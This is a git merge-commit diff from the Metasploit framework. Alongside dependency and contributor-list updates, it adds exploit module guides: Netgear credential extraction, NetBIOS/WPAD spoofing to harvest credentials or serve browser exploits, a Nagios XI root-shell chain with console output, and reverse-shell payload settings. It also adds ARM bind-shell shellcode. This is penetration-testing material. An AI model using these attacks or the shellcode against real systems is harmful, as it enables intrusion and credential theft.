Merge branch 'master' into feature/MS-1688/net-ssh-cleanup

bug/bundler_fix
David Maloney 2016-07-05 10:48:38 -05:00
commit 5f9f3259f8
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
74 changed files with 932 additions and 2682 deletions

View File

@ -1,8 +1,11 @@
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
@ -16,30 +19,40 @@ ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@ -151,10 +164,11 @@ void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
# Aliases for utility author names. Since they're fake, typos abound
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
Metasploit Bot <metasploit@rapid7.com> Metasploit <metasploit@rapid7.com>
Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>

View File

@ -45,6 +45,7 @@ and Metasploit's [Common Coding Mistakes].
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
@ -106,6 +107,7 @@ already way ahead of the curve, so keep it up!
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb

View File

@ -1,11 +1,12 @@
PATH
remote: .
specs:
metasploit-framework (4.12.10)
metasploit-framework (4.12.11)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
bcrypt
bit-struct
filesize
jsobfu
json
@ -13,10 +14,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.11)
metasploit-payloads (= 1.1.12)
metasploit_data_models
msgpack
net-ssh
network_interface
nokogiri
octokit
@ -39,6 +39,7 @@ PATH
rubyntlm
rubyzip
sqlite3
sshkey
tzinfo
tzinfo-data
@ -83,6 +84,7 @@ GEM
rspec-expectations (>= 2.99)
thor (~> 0.19)
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
capybara (2.7.1)
addressable
@ -149,7 +151,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.1.11)
metasploit-payloads (1.1.12)
metasploit_data_models (2.0.0)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -164,16 +166,16 @@ GEM
mime-types (3.0)
mime-types-data (~> 3.2015)
mime-types-data (3.2016.0221)
mini_portile2 (2.0.0)
mini_portile2 (2.1.0)
minitest (5.8.4)
msgpack (0.7.6)
multi_json (1.12.0)
multi_test (0.1.2)
multipart-post (2.0.0)
net-ssh (3.2.0)
network_interface (0.0.1)
nokogiri (1.6.7.2)
mini_portile2 (~> 2.0.0.rc2)
nokogiri (1.6.8)
mini_portile2 (~> 2.1.0)
pkg-config (~> 1.1.7)
octokit (4.3.0)
sawyer (~> 0.7.0, >= 0.5.3)
openssl-ccm (1.2.1)
@ -184,6 +186,7 @@ GEM
pcaprub (0.12.4)
pg (0.18.4)
pg_array_parser (0.0.9)
pkg-config (1.1.7)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
arel (>= 4.0.1)
@ -256,6 +259,7 @@ GEM
simplecov-html (0.10.0)
slop (3.6.0)
sqlite3 (1.3.11)
sshkey (1.8.0)
thor (0.19.1)
thread_safe (0.3.5)
timecop (0.8.1)

View File

@ -0,0 +1,49 @@
## Vulnerable Application
The following list is a non-exhaustive list of vulnerable Netgear devices:
1. R6300v2 - V1.0.3.8
2. WNDR3300 - V1.0.45
3. WNDR3700v1 - V1.0.7.98
4. WNDR3700v1 - V1.0.16.98
5. WNDR3700v2 - V1.0.1.14
6. WNDR3700v4 - V1.0.1.42
7. WNDR3700v4 - V1.0.0.4SH
8. WNDR3700v4 - V1.0.1.52
9. WNDR3800 - V1.0.0.48
10. WNDR4300 - V1.0.1.60
11. WNR1000v2 - V1.0.1.1
12. WNR1000v2 - V1.1.2.58
13. WNR2000v3 - v1.1.2.10
14. WNR2200 - V1.0.1.88
15. WNR2500 - V1.0.0.24
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/admin/http/netgear_soap_password_extractor```
3. Do: ```set rhost <ip>```
4. Do: ```run```
5. You should get admin info on the device
## Scenarios
Example run against wnr2000v3 with firmware 1.1.2.10:
```
msf > use auxiliary/admin/http/netgear_soap_password_extractor
msf auxiliary(netgear_soap_password_extractor) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf auxiliary(netgear_soap_password_extractor) > run
[*] Trying to access the configuration of the device
[*] Extracting Firmware version...
[+] Model wnr2000v3 found
[+] Firmware version V1.1.2.10 found
[+] Device details downloaded to: /root/.msf4/loot/20160701181449_default_192.168.1.1_netgear_soap_dev_668524.txt
[*] Extracting credentials...
[*] Credentials found, extracting...
[+] admin / password credentials found
[+] Account details downloaded to: /root/.msf4/loot/20160701181449_default_192.168.1.1_netgear_soap_acc_252579.txt
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,122 @@
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the
target to cache a malicious address for this name. By default, the module will attempt to poison
WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal
sensitive information, or obtain arbitrary code execution.
## Vulnerable Application
Windows is the most ideal target because it supports WPAD by default.
## Options
**NBADDR**
The address that the NetBIOS name (NBNAME) should resolve to.
**NBNAME**
The NetBIOS name to spoof a reply for.
**PPSRATE**
The rate at which to send NetBIOS replies.
## Scenarios
**Credential Collection Attack Using Targeted NetBIOS Spoofing:**
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
Step 1: Start the first Metasploit instance:
1. ```rvmsudo ./msfconsole -q```
2. ```use auxiliary/server/capture/http_basic```
3. ```set REALM google.com```
4. ```set URIPATH /```
5. ```run```
Step 2: Start the second Metasploit instance:
1. ```rvmsudo ./msfconsole -q```
2. ```use auxiliary/admin/netbios/netbios_spoof```
3. ```set NBADDR [IP to fake HTTP auth server]```
4. ```set PPSRATE 30000```
5. ```set RHOST [Target Host]```
6. ```run```
Step 3: On the victim machine:
1. Make sure IE automatically detects settings (under LAN settings)
2. Start IE, as soon as it opens, IE should try to authenticate.
If the spoofed name has already been cached, you can do this to flush. And then next time IE will
be asked for credentials again.
```
ipconfig /flushdns
```
**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:**
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
Step 1: Start the first Metasploit instance:
1. ```rvmsudo ./msfconsole -q```
2. ```use auxiliary/server/browser_autopwn2```
3. ```set SRVPORT 8181```
4. ```run```
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file:
First, uncomment these settings if they are found in the file:
* http_access deny all
* http_access deny !Safe_ports
* http_access deny CONNECT !SSL_ports
* http_access deny to_localhost
* http_access deny all
* always_direct deny all
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn
URL field:
```
acl MyNetwork src 192.168.1.0/24
acl BLKSite dstdomain .google.com
deny_info [BrowserAutoPwn URL] all
http_reply_access deny BLKSite all
http_access allow MyNetwork
```
Step 3: Start the second Metasploit instance:
1. ```rvmsudo ./msfconsole -q```
2. ```use auxiliary/server/wpad```
3. ```set PROXY [Proxy IP]```
4. ```set PROXYPORT 8080```
5. ```run```
Step 4: Start the third Metasploit instance:
1. ```rvmsudo ./msfconsole -q```
2. ```use auxiliary/admin/netbios/netbios_spoof```
3. ```set NBADDR [IP to fake HTTP server]```
4. ```set PPSRATE 30000```
5. ```set RHOST [Target Host]```
6. ```run```
Step 5: On the victim machine:
1. Make sure IE automatically detects settings (under LAN settings)
2. Start IE
3. Go to google.com, IE should end up loading the exploit server.
If the spoofed name has already been cached, you can do this to flush.
```
ipconfig /flushdns
```

View File

@ -0,0 +1,73 @@
## Intro
Nagios XI is the enterprise version of Nagios, the monitoring software we love
and hate.
> This module exploits an SQL injection, auth bypass, file upload, command
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.
## Setup
**Download the virtual appliance:**
I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
32-bit OVA.
[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova
**Import the OVA:**
Just import it into VMware or VirtualBox. It should create a VM for you.
**Configure the software:**
When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
on the login screen. Connect to the URL using your web browser and follow the
steps on the screen to configure the app.
Configuration is actually not required to exploit the app, but you should do it
anyway.
## Usage
Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.
```
msf > use exploit/linux/http/nagios_xi_chained_rce
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
rhost => [redacted]
msf exploit(nagios_xi_chained_rce) > set verbose true
verbose => true
msf exploit(nagios_xi_chained_rce) > run
[*] Started reverse TCP handler on [redacted]:4444
[*] Nagios XI version: 5.2.7
[*] Getting API token
[+] API token: 3o2erpm0
[*] Getting admin cookie
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
[*] Getting monitored host
[+] Monitored host: localhost
[*] Downloading component
[*] Uploading root shell
[*] Popping shell!
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
[*] Cleaning up...
[*] rm -rf ../profile
[*] unzip -qd .. ../../../../tmp/component-profile.zip
[*] chown -R nagios:nagios ../profile
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip
3904334783
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
cKKdfdZxRpDduZCezKXOficrVyNeVggH
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
uname -a
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
```

View File

@ -33,6 +33,7 @@ This attack injects a payload into javascript by terminating a URL path string.
```
use exploit/multi/fileformat/swagger_param_inject
set TARGET 0
set PAYLOAD nodejs/shell_reverse_tcp
set INFO_VERSION "1.0.0"
set SWAGGER_HOST "localhost"
@ -47,6 +48,7 @@ This attack injects a payload into PHP multiline comment area.
```
use exploit/multi/fileformat/swagger_param_inject
set TARGET 1
set PAYLOAD php/meterpreter/reverse_tcp
set SWAGGER_HOST "localhost"
run
@ -60,6 +62,7 @@ This attack injects a payload into ruby multiline comment area.
```
use exploit/multi/fileformat/swagger_param_inject
set TARGET 3
set PAYLOAD ruby/shell_reverse_tcp
set SWAGGER_HOST "localhost"
run
@ -73,6 +76,7 @@ This attack injects a payload into Java by terminating a URL path string.
```
use exploit/multi/fileformat/swagger_param_inject
set TARGET 2
set PAYLOAD java/jsp_shell_reverse_tcp
set SWAGGER_HOST "localhost"
run

View File

@ -0,0 +1,117 @@
@@
@
@ Name: single_sock_bind
@ Qualities: -
@ Authors: Balazs Bucsay <@xoreipeip>
@ License: MSF_LICENSE
@ Description:
@
@ Implementation of a Linux bind TCP shellcode for ARM BE architecture.
@
@ Assemble with:
@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o
@ Link with:
@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode
@
@ Meta-Information:
@
@ meta-shortname=Linux Bind TCP
@ meta-description=Listen on a port for a connection and run a second stage
@ meta-authors=earthquake
@ meta-os=linux
@ meta-arch=armbe
@ meta-category=singles
@ meta-connection-type=bind
@ meta-name=bind_tcp
@@
.section .text
.global _start
_start:
.code 32
@ Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
@ _socket(2,1,0)
sub r2, r2, r2
add r1, r2, #1
add r0, r2, #2
lsl r7, r1, #8
add r7, r7, #0x19
svc 1
mov r6, r0
@ 1 uint8_t sin_len
@ 1 sa_family_t sin_family
@ 2 in_port_t sin_port
@ 4 struct in_addr sin_addr
@ 8 char sin_zero [8]
@ 00 02 5C11 00000000 00000000 00000000
@ 5c11 => 4444
@ _bind()
mov r2, #2
lsl r2, r2, #8
add r2, r2, #0x11
lsl r2, r2, #8
add r2, r2, #0x5C
sub r3, r3, r3
sub r4, r4, r4
sub r5, r5, r5
mov r1, sp
stm r1!, {r2-r5}
sub r1, #0x10
mov r2, #16
add r7, r7, #1
svc 1
@ _listen()
mov r0, r6
sub r1, r1, r1
add r7, r7, #2
svc 1
@ _accept()
mov r0, r6
sub r2, r2, r2
add r7, r7, #1
svc 1
mov r6, r0
@ _dup2()
sub r1, r1, r1
mov r7, #63
svc 1
mov r0, r6
add r1, r1, #1
svc 1
mov r0, r6
add r1, r1, #1
svc 1
_execve()
sub r2, r2, r2
mov r0, pc
add r0, #18
@ next intstruction terminates the string beneath the code "//bin/sh"
@ in case you want to say goodbye to the null character
@ str r2, [r0, #8]
str r2, [sp, #8]
str r0, [sp, #4]
add r1, sp, #4
mov r7, #11
svc 1
@ _exit()
sub r4, r4, r4
mov r0, r4
mov r7, #1
svc 1
.ascii "//bin/sh\0"
@.ascii "//bin/sh"

View File

@ -1,15 +0,0 @@
# -*- coding: binary -*-
# A Convenience to load all field classes and yaml handling.
# XXX: Pretty certian this monkeypatch isn't required in Metasploit.
if "a"[0].kind_of? Fixnum
unless Fixnum.methods.include? :ord
class Fixnum
def ord; self; end
end
end
end
require 'bit-struct/bit-struct'
require 'bit-struct/fields'
require 'bit-struct/yaml'

View File

@ -1,187 +0,0 @@
= BitStruct
Class for packed binary data stored in ruby Strings. BitStruct accessors, generated from user declared fields, use pack/unpack to treat substrings as fields with a specified portable format.
Field types include:
* signed and unsigned integer (1..16 bits, or 24, 32, 40, 48... bits)
* numeric fields (signed, unsigned, float) can be designated as any of the following endians: little, big, native, network (default)
* fixed point, with arbitrary scale factor
* fixed length character array
* null-terminated character array for printable text
* octets (hex and decimal representation options; useful for IP and MAC addrs)
* float
* nested BitStruct
* vectors of embedded BitStructs
* free-form "rest" field (e.g., for the variable-size payload of a packet)
Field options (specifiable as :foo => val or "foo" => val) include:
* *display_name*: used in BitStruct#inspect_detailed and BitStruct#describe outputs.
* *default*: default field value
* *format*: alternate format string for inspect
* *endian*: for byte ordering of numeric fields (unsigned, signed, float): little, big, native, network (default)
* *fixed*: float stored as fixed-point integer, with specified scale factor
== Installation
For .gem:
gem install bit-struct
For .tgz, unpack and then:
ruby install.rb config
ruby install.rb setup
ruby install.rb install
== Uses
BitStruct is useful for defining packets used in network protocols. This is especially useful for raw IP--see examples/ping-recv.rb. All multibyte numeric fields are stored by default in network order.
BitStruct is most efficient when your data is primarily treated as a binary string, and only secondarily treated as a data structure. (For instance, you are routing packets from one socket to another, possibly looking at one or two fields as it passes through or munging some headers.) If accessor operations are a bottleneck, a better approach is to define a class that wraps an array and uses pack/unpack when the object needs to behave like a binary string.
== Features
* Extensible with user-defined field classes.
* Fields are fully introspectable and can be defined programmatically.
* BitStruct.describe prints out documentation of all the fields of a BitStruct subclass, based on declarations. This is useful for communicating with developers who are not using ruby, but need to talk the same protocols. See Example, below.
* Fields are inherited by subclasses. (The free-form "rest" field does not inherit, because it usually represents a payload whose structure is defined in subclasses using the fixed-size fields.)
* BitStruct#inspect and BitStruct#inspect_detailed can be used for prettified display of contents. (More generally, BitStruct#inspect takes some options that control formatting and detail level.) See Example, below.
* BitStruct inherits from String, so all the usual methods are available, and string-sharing (copy-on-write) is in effect.
* Easy access to a "prototype" instance of each BitStruct subclass, from which all instances of that subclass are initialized as a copy (in the absence of other initialization parameters, such as a hash, a string, or a block). See BitStruct.initial_value, and BitStruct#initialize. See Example, below.
* Easy conversion to and from hashes, using BitStruct#to_h and BitStruct.new.
* BitStructs can persist using Marshal (a BitStruct is after all just a string) or using YAML (with human readable representation of the fields).
* Includes tests, examples, and rdoc API documentation.
== Limitations
* Fields that are not aligned on byte boundaries may cross no more than two bytes boundaries. (See examples/byte-bdy.rb.)
* No variable length fields (except the #rest field).
== Future plans
* Currently, the library is written in pure ruby. The implementation uses Array#pack and String#unpack calls, as well as shifting and masking in pure ruby. Future versions will optionally generate a customized C extension for better efficiency.
* A debug mode in which a class identifier is prepended to every BitStruct, so that protocol errors can be detected. (This feature has been implemented in an app that uses BitStruct, but needs to be refactored into the BitStruct library itself.)
* Remove field size and alignment limitations.
== Example
An IP packet can be defined and used like this:
require 'bit-struct'
class IP < BitStruct
unsigned :ip_v, 4, "Version"
unsigned :ip_hl, 4, "Header length"
unsigned :ip_tos, 8, "TOS"
unsigned :ip_len, 16, "Length"
unsigned :ip_id, 16, "ID"
unsigned :ip_off, 16, "Frag offset"
unsigned :ip_ttl, 8, "TTL"
unsigned :ip_p, 8, "Protocol"
unsigned :ip_sum, 16, "Checksum"
octets :ip_src, 32, "Source addr"
octets :ip_dst, 32, "Dest addr"
rest :body, "Body of message"
note " rest is application defined message body"
initial_value.ip_v = 4
initial_value.ip_hl = 5
end
ip = IP.new
ip.ip_tos = 0
ip.ip_len = 0
ip.ip_id = 0
ip.ip_off = 0
ip.ip_ttl = 255
ip.ip_p = 255
ip.ip_sum = 0
ip.ip_src = "192.168.1.4"
ip.ip_dst = "192.168.1.255"
ip.body = "This is the payload text."
ip.ip_len = ip.length
puts ip.inspect
puts "-"*50
puts ip.inspect_detailed
puts "-"*50
puts IP.describe
(Note that you can also construct an IP packet by passing a string to new, or by passing a hash of <tt>field,value</tt> pairs, or by providing a block that is yielded the new BitStruct.)
The output of this fragment is:
#<IP ip_v=4, ip_hl=5, ip_tos=0, ip_len=45, ip_id=0, ip_off=0, ip_ttl=255, ip_p=255, ip_sum=0, ip_src="192.168.1.4", ip_dst="192.168.1.255", body="This is the payload text.">
--------------------------------------------------
IP:
Version = 4
Header length = 5
TOS = 0
Length = 45
ID = 0
Frag offset = 0
TTL = 255
Protocol = 255
Checksum = 0
Source addr = "192.168.1.4"
Dest addr = "192.168.1.255"
Body of message = "This is the payload text."
--------------------------------------------------
Description of IP Packet:
byte: type name [size] description
----------------------------------------------------------------------
@0: unsigned ip_v [ 4b] Version
@0: unsigned ip_hl [ 4b] Header length
@1: unsigned ip_tos [ 8b] TOS
@2: unsigned ip_len [ 16b] Length
@4: unsigned ip_id [ 16b] ID
@6: unsigned ip_off [ 16b] Frag offset
@8: unsigned ip_ttl [ 8b] TTL
@9: unsigned ip_p [ 8b] Protocol
@10: unsigned ip_sum [ 16b] Checksum
@12: octets ip_src [ 32b] Source addr
@16: octets ip_dst [ 32b] Dest addr
rest is application defined message body
== Web site
The current version of this software can be found at http://redshift.sourceforge.net/bit-struct.
== License
This software is distributed under the Ruby license. See http://www.ruby-lang.org.
== Author
Joel VanderWerf, mailto:vjoel@users.sourceforge.net
Copyright (c) 2005-2009, Joel VanderWerf.

View File

@ -1,575 +0,0 @@
# -*- coding: binary -*-
# Class for packed binary data, with defined bitfields and accessors for them.
# See {intro.txt}[link:../doc/files/intro_txt.html] for an overview.
#
# Data after the end of the defined fields is accessible using the +rest+
# declaration. See examples/ip.rb. Nested fields can be declared using +nest+.
# See examples/nest.rb.
#
# Note that all string methods are still available: length, grep, etc.
# The String#replace method is useful.
#
class BitStruct < String
VERSION = "0.13.6"
class Field
# Offset of field in bits.
attr_reader :offset
# Length of field in bits.
attr_reader :length
alias size length
# Name of field (used for its accessors).
attr_reader :name
# Options, such as :default (varies for each field subclass).
# In general, options can be provided as strings or as symbols.
attr_reader :options
# Display name of field (used for printing).
attr_reader :display_name
# Default value.
attr_reader :default
# Format for printed value of field.
attr_reader :format
# Subclasses can override this to define a default for all fields of this
# class, not just the one currently being added to a BitStruct class, a
# "default default" if you will. The global default, if #default returns
# nil, is to fill the field with zero. Most field classes just let this
# default stand. The default can be overridden per-field when a BitStruct
# class is defined.
def self.default; nil; end
# Used in describe.
def self.class_name
@class_name ||= name[/\w+$/]
end
# Used in describe. Can be overridden per-subclass, as in NestedField.
def class_name
self.class.class_name
end
# Yield the description of this field, as an array of 5 strings: byte
# offset, type, name, size, and description. The opts hash may have:
#
# :expand :: if the value is true, expand complex fields
#
# (Subclass implementations may yield more than once for complex fields.)
#
def describe opts
bits = size
if bits > 32 and bits % 8 == 0
len_str = "%dB" % (bits/8)
else
len_str = "%db" % bits
end
byte_offset = offset / 8 + (opts[:byte_offset] || 0)
yield ["@%d" % byte_offset, class_name, name, len_str, display_name]
end
# Options are _display_name_, _default_, and _format_ (subclasses of Field
# may add other options).
def initialize(offset, length, name, opts = {})
@offset, @length, @name, @options =
offset, length, name, opts
@display_name = opts[:display_name] || opts["display_name"]
@default = opts[:default] || opts["default"] || self.class.default
@format = opts[:format] || opts["format"]
end
# Inspect the value of this field in the specified _obj_.
def inspect_in_object(obj, opts)
val = obj.send(name)
str =
begin
val.inspect(opts)
rescue ArgumentError # assume: "wrong number of arguments (1 for 0)"
val.inspect
end
(f=@format) ? (f % str) : str
end
# Normally, all fields show up in inspect, but some, such as padding,
# should not.
def inspectable?; true; end
end
NULL_FIELD = Field.new(0, 0, :null, :display_name => "null field")
# Raised when a field is added after an instance has been created. Fields
# cannot be added after this point.
class ClosedClassError < StandardError; end
# Raised if the chosen field name is not allowed, either because another
# field by that name exists, or because a method by that name exists.
class FieldNameError < StandardError; end
@default_options = {}
@initial_value = nil
@closed = nil
@rest_field = nil
@note = nil
class << self
def inherited cl
cl.instance_eval do
@initial_value = nil
@closed = nil
@rest_field = nil
@note = nil
end
end
# ------------------------
# :section: field access methods
#
# For introspection and metaprogramming.
#
# ------------------------
# Return the list of fields for this class.
def fields
@fields ||= self == BitStruct ? [] : superclass.fields.dup
end
# Return the list of fields defined by this class, not inherited
# from the superclass.
def own_fields
@own_fields ||= []
end
# Add a field to the BitStruct (usually, this is only used internally).
def add_field(name, length, opts = {})
round_byte_length ## just to make sure this has been calculated
## before adding anything
name = name.to_sym
if @closed
raise ClosedClassError, "Cannot add field #{name}: " +
"The definition of the #{self.inspect} BitStruct class is closed."
end
if fields.find {|f|f.name == name}
raise FieldNameError, "Field #{name} is already defined as a field."
end
if instance_methods(true).find {|m| m == name}
if opts[:allow_method_conflict] || opts["allow_method_conflict"]
warn "Field #{name} is already defined as a method."
else
raise FieldNameError,"Field #{name} is already defined as a method."
end
end
field_class = opts[:field_class]
prev = fields[-1] || NULL_FIELD
offset = prev.offset + prev.length
field = field_class.new(offset, length, name, opts)
field.add_accessors_to(self)
fields << field
own_fields << field
@bit_length += field.length
@round_byte_length = (bit_length/8.0).ceil
if @initial_value
diff = @round_byte_length - @initial_value.length
if diff > 0
@initial_value << "\0" * diff
end
end
field
end
def parse_options(ary, default_name, default_field_class) # :nodoc:
opts = ary.grep(Hash).first || {}
opts = default_options.merge(opts)
opts[:display_name] = ary.grep(String).first || default_name
opts[:field_class] = ary.grep(Class).first || default_field_class
opts
end
# Get or set the hash of default options for the class, which apply to all
# fields. Changes take effect immediately, so can be used alternatingly with
# blocks of field declarations. If +h+ is provided, update the default
# options with that hash. Default options are inherited.
#
# This is especially useful with the <tt>:endian => val</tt> option.
def default_options h = nil
@default_options ||= superclass.default_options.dup
if h
@default_options.merge! h
end
@default_options
end
# Length, in bits, of this object.
def bit_length
@bit_length ||= fields.inject(0) {|a, f| a + f.length}
end
# Length, in bytes (rounded up), of this object.
def round_byte_length
@round_byte_length ||= (bit_length/8.0).ceil
end
def closed! # :nodoc:
@closed = true
end
def field_by_name name
@field_by_name ||= {}
field = @field_by_name[name]
unless field
field = fields.find {|f| f.name == name}
@field_by_name[name] = field if field
end
field
end
end
# Return the list of fields for this class.
def fields
self.class.fields
end
# Return the rest field for this class.
def rest_field
self.class.rest_field
end
# Return the field with the given name.
def field_by_name name
self.class.field_by_name name
end
# ------------------------
# :section: metadata inspection methods
#
# Methods to textually describe the format of a BitStruct subclass.
#
# ------------------------
class << self
# Default format for describe. Fields are byte, type, name, size,
# and description.
DESCRIBE_FORMAT = "%8s: %-12s %-14s[%4s] %s"
# Can be overridden to use a different format.
def describe_format
DESCRIBE_FORMAT
end
# Textually describe the fields of this class of BitStructs.
# Returns a printable table (array of line strings), based on +fmt+,
# which defaults to #describe_format, which defaults to +DESCRIBE_FORMAT+.
def describe(fmt = nil, opts = {})
if fmt.kind_of? Hash
opts = fmt; fmt = nil
end
if block_given?
fields.each do |field|
field.describe(opts) do |desc|
yield desc
end
end
nil
else
fmt ||= describe_format
result = []
